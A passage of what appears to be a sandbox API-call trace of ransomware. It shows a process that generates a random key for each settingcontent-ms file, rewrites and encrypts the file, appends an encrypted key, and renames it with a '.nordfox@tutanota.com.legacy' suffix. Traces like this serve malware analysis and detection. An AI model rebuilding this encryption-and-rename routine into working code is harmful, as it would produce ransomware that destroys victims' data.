(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08EB53B7-3384-473A-8D2C-6C0E71F3BF34}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5ae0 [0196.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5ae0 | out: hHeap=0x520000) returned 1 [0196.003] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08EB53B7-3384-473A-8D2C-6C0E71F3BF34}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{08eb53b7-3384-473a-8d2c-6c0e71f3bf34}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.003] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=966) returned 1 [0196.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c6) returned 0x30f6af0 [0196.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c6) returned 0x619440 [0196.003] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0196.004] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.004] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0196.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.005] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c6 [0196.005] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.005] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.005] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.005] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.005] CloseHandle (hObject=0x1c24) returned 1 [0196.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0196.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.005] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08EB53B7-3384-473A-8D2C-6C0E71F3BF34}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{08eb53b7-3384-473a-8d2c-6c0e71f3bf34}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08EB53B7-3384-473A-8D2C-6C0E71F3BF34}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{08eb53b7-3384-473a-8d2c-6c0e71f3bf34}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e57f0 | out: hHeap=0x520000) returned 1 [0196.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5678 | out: hHeap=0x520000) returned 1 [0196.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5678 [0196.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0196.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.008] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08D48377-1C06-416D-B382-61E8D5F6CD18}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5ae0 [0196.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5ae0 | out: hHeap=0x520000) returned 1 [0196.008] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08D48377-1C06-416D-B382-61E8D5F6CD18}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{08d48377-1c06-416d-b382-61e8d5f6cd18}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.009] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1019) returned 1 [0196.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3fb) returned 0x30f6af0 [0196.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3fb) returned 0x619440 [0196.009] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fb, lpOverlapped=0x0) returned 1 [0196.010] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.010] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fb, lpOverlapped=0x0) returned 1 [0196.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.010] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fb [0196.010] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.010] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.011] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.011] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.011] CloseHandle (hObject=0x1c24) returned 1 [0196.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0196.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.011] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08D48377-1C06-416D-B382-61E8D5F6CD18}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{08d48377-1c06-416d-b382-61e8d5f6cd18}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{08D48377-1C06-416D-B382-61E8D5F6CD18}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{08d48377-1c06-416d-b382-61e8d5f6cd18}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5678 | out: hHeap=0x520000) returned 1 [0196.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6238 | out: hHeap=0x520000) returned 1 [0196.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6818 [0196.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0196.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0196.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.013] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{083D5202-600A-4f38-981B-2D138FBDC4D1}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5dd0 [0196.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5dd0 | out: hHeap=0x520000) returned 1 [0196.013] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{083D5202-600A-4f38-981B-2D138FBDC4D1}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{083d5202-600a-4f38-981b-2d138fbdc4d1}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.014] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1153) returned 1 [0196.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x481) returned 0x30f6af0 [0196.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x481) returned 0x619440 [0196.014] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x481, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x481, lpOverlapped=0x0) returned 1 [0196.021] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.022] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x481, lpOverlapped=0x0) returned 1 [0196.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.022] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x481 [0196.022] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.022] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.022] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.022] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.022] CloseHandle (hObject=0x1c24) returned 1 [0196.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0196.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0196.023] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{083D5202-600A-4f38-981B-2D138FBDC4D1}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{083d5202-600a-4f38-981b-2d138fbdc4d1}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{083D5202-600A-4f38-981B-2D138FBDC4D1}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{083d5202-600a-4f38-981b-2d138fbdc4d1}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6818 | out: hHeap=0x520000) returned 1 [0196.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5098 | out: hHeap=0x520000) returned 1 [0196.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6238 [0196.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0196.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.025] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{082594D9-8481-43F0-AE8F-62EA920A4220}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5098 [0196.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5098 | out: hHeap=0x520000) returned 1 [0196.025] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{082594D9-8481-43F0-AE8F-62EA920A4220}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{082594d9-8481-43f0-ae8f-62ea920a4220}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.026] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=981) returned 1 [0196.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d5) returned 0x30f6af0 [0196.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d5) returned 0x619440 [0196.026] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d5, lpOverlapped=0x0) returned 1 [0196.027] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-981, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.027] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d5, lpOverlapped=0x0) returned 1 [0196.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.027] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d5 [0196.027] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.027] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.028] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.028] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.028] CloseHandle (hObject=0x1c24) returned 1 [0196.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0196.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.028] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{082594D9-8481-43F0-AE8F-62EA920A4220}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{082594d9-8481-43f0-ae8f-62ea920a4220}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{082594D9-8481-43F0-AE8F-62EA920A4220}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{082594d9-8481-43f0-ae8f-62ea920a4220}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6238 | out: hHeap=0x520000) returned 1 [0196.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5500 | out: hHeap=0x520000) returned 1 [0196.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e57f0 [0196.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0196.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.030] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06FF5AE9-8F7C-41AD-B71B-62137DE26715}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5678 [0196.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5678 | out: hHeap=0x520000) returned 1 [0196.031] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06FF5AE9-8F7C-41AD-B71B-62137DE26715}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06ff5ae9-8f7c-41ad-b71b-62137de26715}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.031] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=983) returned 1 [0196.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d7) returned 0x30f6af0 [0196.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d7) returned 0x619440 [0196.031] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d7, lpOverlapped=0x0) returned 1 [0196.033] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-983, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.033] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d7, lpOverlapped=0x0) returned 1 [0196.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.033] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d7 [0196.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.033] CryptEncrypt 